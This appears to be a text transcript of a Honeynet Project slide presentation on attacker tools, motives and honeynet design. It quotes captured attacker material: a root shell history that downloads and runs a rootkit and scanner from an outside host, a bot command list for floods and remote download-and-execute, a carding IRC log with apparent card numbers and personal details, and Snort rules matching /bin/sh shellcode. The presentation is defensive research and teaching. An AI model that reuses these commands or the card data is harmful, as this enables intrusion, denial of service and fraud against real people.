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Honeynets and The Honeynet Project

Honeynets and The Honeynet Project. Speaker. Purpose. To explain our organization, our value to you, and our research. Agenda. The Honeynet Project and Research Alliance The Threat How Honeynets Work Learning More. Honeynet Project. Problem.

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Honeynets and The Honeynet Project

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  1. Honeynets and The Honeynet Project

  2. Speaker

  3. Purpose To explain our organization, our value to you, and our research.

  4. Agenda • The Honeynet Project and Research Alliance • The Threat • How Honeynets Work • Learning More

  5. Honeynet Project

  6. Problem How can we defend against an enemy, when we don’t even know who the enemy is?

  7. Mission Statement To learn the tools, tactics, and motives involved in computer and network attacks, and share the lessons learned.

  8. Our Goal Improve security of Internet at no cost to the public. • Awareness: Raise awareness of the threats that exist. • Information: For those already aware, we teach and inform about the threats. • Research: We give organizations the capabilities to learn more on their own.

  9. Honeynet Project • Non-profit (501c3) organization with Board of Directors. • Funded by sponsors • Global set of diverse skills and experiences. • Open Source, share all of our research and findings at no cost to the public. • Deploy networks around the world to be hacked. • Everything we capture is happening in the wild. • We have nothing to sell.

  10. Honeynet Research Alliance Starting in 2002, the Alliance is a forum of organizations around the world actively researching, sharing and deploying honeypot technologies. http://www.honeynet.org/alliance/

  11. Alliance Members • South Florida Honeynet Project • Georgia Technical Institute • Azusa Pacific University • USMA Honeynet Project • Pakistan Honeynet Project • Paladion Networks Honeynet Project (India) • Internet Systematics Lab Honeynet Project (Greece) • Honeynet.BR (Brazil) • UK Honeynet • French Honeynet Project • Italian Honeynet Project • Portugal Honeynet Project • German Honeynet Project • Spanish Honeynet Project • Singapore Honeynet Project • China Honeynet Project

  12. The Threat

  13. What we have captured • The Honeynet Project has captured primarily external threats that focus on targets of opportunity. • Little has yet to be captured on advanced threats, few honeynets to date have been designed to capture them.

  14. The Threat • Hundreds of scans a day. • Fastest time honeypot manually compromised, 15 minutes (worm, under 60 seconds). • Life expectancies: vulnerable Win32 system is under three hours, vulnerable Linux system is three months. • Primarily cyber-crime, focus on Win32 systems and their users. • Attackers can control thousands of systems (Botnets).

  15. The Threat

  16. The Motive • Motives vary, but we are seeing more and more criminally motivated. • Several years ago, hackers hacked computers. Now, criminals hack computers. • Fraud, extortion and identity theft have been around for centuries, the net just makes it easier.

  17. DDoS for Money J4ck: why don't you start charging for packet attacks? J4ck: "give me x amount and I'll take bla bla offline for this amount of time” J1LL: it was illegal last I checked J4ck: heh, then everything you do is illegal. Why not make money off of it? J4ck:I know plenty of people that'd pay exorbatent amounts for packeting

  18. The Target • The mass users. • Tend to be non-security aware, making them easy targets. • Economies of scale (it’s a global target).

  19. Interesting Trends • Attacks often originate from economically depressed countries (Romania is an example). • Attacks shifting from the computer to the user (computers getting harder to hack). • Attackers continue to get more sophisticated.

  20. The Tools • Attacks used to be primarily worms and autorooters. • New advances include Botnets and Phishing. • Tools are constantly advancing.

  21. The Old Days Jan 8 18:48:12 HISTORY: PID=1246 UID=0 lynx www.becys.org/LUCKROOT.TAR Jan 8 18:48:31 HISTORY: PID=1246 UID=0 y Jan 8 18:48:45 HISTORY: PID=1246 UID=0 tar -xvfz LUCKROOT.TAR Jan 8 18:48:59 HISTORY: PID=1246 UID=0 tar -xzvf Lu Jan 8 18:49:01 HISTORY: PID=1246 UID=0 tar -xzvf L Jan 8 18:49:03 HISTORY: PID=1246 UID=0 tar -xzvf LUCKROOT.TAR Jan 8 18:49:06 HISTORY: PID=1246 UID=0 cd luckroot Jan 8 18:49:13 HISTORY: PID=1246 UID=0 ./luckgo 216 210 Jan 8 18:51:07 HISTORY: PID=1246 UID=0 ./luckgo 200 120 Jan 8 18:51:43 HISTORY: PID=1246 UID=0 ./luckgo 64 120 Jan 8 18:52:00 HISTORY: PID=1246 UID=0 ./luckgo 216 200

  22. Botnets • Large networks of hacked systems. • Often thousands, if not tens of thousands, of hacked systems under the control of a single user. • Automated commands used to control the ‘zombies’.

  23. How They Work • After successful exploitation, a bot uses TFTP, FTP, or HTTP to download itself to the compromised host. • The binary is started, and connects to the hard-coded master IRC server. • Often a dynamic DNS name is provided rather than a hard coded IP address, so the bot can be easily relocated. • Using a special crafted nickname like USA|743634 the bot joins the master's channel, sometimes using a password to keep strangers out of the channel

  24. 80% of traffic • Port 445/TCP • Port 139/TCP • Port 135/TCP • Port 137/UDP • Infected systems most often WinXP-SP1 and Win2000

  25. Bots ddos.synflood [host] [time] [delay] [port] starts an SYN flood ddos.httpflood [url] [number] [referrer] [recursive = true||false] starts a HTTP flood scan.listnetranges list scanned netranges scan.start starts all enabled scanners scan.stop stops all scanners http.download download a file via HTTP http.execute updates the bot via the given HTTP URL http.update executes a file from a given HTTP URL cvar.set spam_aol_channel [channel] AOL Spam - Channel name cvar.set spam_aol_enabled [1/0] AOL Spam - Enabled?

  26. Numbers • Over a 4 months period • More then 100 Botnets were tracked • One channel had over 200,000 IP addresses. • One computer was compromised by 16 Bots. • Estimate over 1 millions systems compromised.

  27. Botnet Economy • Botnets sold or for rent. • Saw Botnets being stolen from each other. • Observed harvesting of information from all compromised machines. For example, the operator of the botnet can request a list of CD-keys (e.g. for Windows or games) from all bots. These CD-keys can be sold or used for other purposes since they are considered valuable information.

  28. Phishing • Social engineer victims to give up valuable information (login, password, credit card number, etc). • Easier to hack the user then the computers. • Need attacks against instant messaging. http://www.antiphishing.org

  29. The Sting

  30. Getting the Info

  31. Infrastructure • Attackers build network of thousands of hacked systems (often botnets). • Upload pre-made pkgs for Phishing. • Use platforms for sending out spoofed email. • Use platforms for false websites.

  32. A Phishing Rootkit • -rw-r--r-- 1 free web 14834 Jun 17 13:16 ebay only • -rw-r--r-- 1 free web 247127 Jun 14 19:58 emailer2.zip • -rw-r--r-- 1 free web 7517 Jun 11 11:53 html1.zip • -rw-r--r-- 1 free web 10383 Jul 3 19:07 index.html • -rw-r--r-- 1 free web 413 Jul 18 22:09 index.zip • -rw-r--r-- 1 free web 246920 Jun 14 20:38 massmail.tgz • -rw-r--r-- 1 free web 8192 Jun 12 07:18 massmail.zip • -rw-r--r-- 1 free web 12163 Jun 9 01:31 send.php • -rw-r--r-- 1 free web 2094 Jun 20 11:49 sendspamAOL1.tgz • -rw-r--r-- 1 free web 2173 Jun 14 22:58 sendspamBUN1.tgz • -rw-r--r-- 1 free web 2783 Jun 15 00:21 sendspamBUNzip1.zip • -rw-r--r-- 1 free web 2096 Jun 16 18:46 sendspamNEW1.tgz • -rw-r--r-- 1 free web 1574 Jul 11 01:08 sendbank1.tgz • -rw-r--r-- 1 free web 2238 Jul 18 23:07 sendbankNEW.tgz • -rw-r--r-- 1 free web 83862 Jun 9 09:56 spamz.zip • -rw-r--r-- 1 free web 36441 Jul 18 00:52 usNEW.zip • -rw-r--r-- 1 free web 36065 Jul 11 17:04 bank1.tgz • drwxr-xr-x 2 free web 49 Jul 16 12:26 banka • -rw-r--r-- 1 free web 301939 Jun 8 13:17 www1.tar.gz • -rw-r--r-- 1 free web 327380 Jun 7 16:24 www1.zip

  33. Credit Cards Exchanging 04:55:16 COCO_JAA: !cc 04:55:23 {Chk}: 0,19(0 COCO_JAA 9)0 CC for U :4,1 Bob Johns|P. O. Box 126|Wendel, CA 25631|United States|510-863-4884|4407070000588951 06/05 (All This ccs update everyday From My Hacked shopping Database - You must regular come here for got all this ccs) 8*** 9(11 TraDecS Chk_Bot FoR #goldcard9) 04:55:42 COCO_JAA: !cclimit 4407070000588951 04:55:46 {Chk}: 0,19(0 COCO_JAA 9)0 Limit for Ur MasterCard (5407070000788951) : 0.881 $ (This Doesn't Mean Its Valid) 4*** 0(11 TraDecS Chk_bot FoR #channel) 04:56:55 COCO_JAA: !cardablesite 04:57:22 COCO_JAA: !cardable electronics 04:57:27 {Chk}: 0,19(0 COCO_JAA 9)0 Site where you can card electronics : *** 9(11 TraDecS Chk_bot FoR #goldcard9) 04:58:09 COCO_JAA: !cclimit 4234294391131136 04:58:12 {Chk}: 0,19(0 COCO_JAA 9)0 Limit for Ur Visa (4264294291131136) : 9.697 $ (This Doesn't Mean Its Valid) 4*** 0(11 TraDecS Chk_bot FoR #channel)

  34. The Future • Hacking is profitable and difficult to get caught. • Expect more attacks to focus on the end user or the client. • Expect things to get worse, bad guys adapt faster.

  35. Honeynets

  36. Honeypots • A honeypot is an information system resource whose value lies in unauthorized or illicit use of that resource. • Has no production value, anything going to or from a honeypot is likely a probe, attack or compromise. • Primary value to most organizations is information.

  37. Advantages • Collect small data sets of high value. • Reduce false positives • Catch new attacks, false negatives • Work in encrypted or IPv6 environments • Simple concept requiring minimal resources.

  38. Disadvantages • Limited field of view (microscope) • Risk (mainly high-interaction honeypots)

  39. Types • Low-interaction • Emulates services, applications, and OS’s. • Low risk and easy to deploy/maintain, but capture limited information. • High-interaction • Real services, applications, and OS’s • Capture extensive information, but high risk and time intensive to maintain.

  40. Examples of Honeypots • BackOfficer Friendly • KFSensor • Honeyd • Honeynets Low Interaction High Interaction

  41. Honeynets • High-interaction honeypot designed to capture in-depth information. • Information has different value to different organizations. • Its an architecture you populate with live systems, not a product or software. • Any traffic entering or leaving is suspect.

  42. How it works A highly controlled network where every packet entering or leaving is monitored, captured, and analyzed. • Data Control • Data Capture • Data Analysis http://www.honeynet.org/papers/honeynet/

  43. Honeynet Architecture

  44. Data Control • Mitigate risk of honeynet being used to harm non-honeynet systems. • Count outbound connections. • IPS (Snort-Inline) • Bandwidth Throttling*

  45. No Data Control

  46. Data Control

  47. Snort-Inline alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT named";flags: A+; content:"|CD80 E8D7 FFFFFF|/bin/sh"; alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT named";flags: A+; content:"|CD80 E8D7 FFFFFF|/bin/sh"; replace:"|0000E8D7 FFFFFF|/ben/sh";)

  48. Data Capture • Capture all activity at a variety of levels. • Network activity. • Application activity. • System activity.

  49. Sebek • Hidden kernel module that captures all host activity • Dumps activity to the network. • Attacker cannot sniff any traffic based on magic number and dst port.

  50. Sebek Architecture

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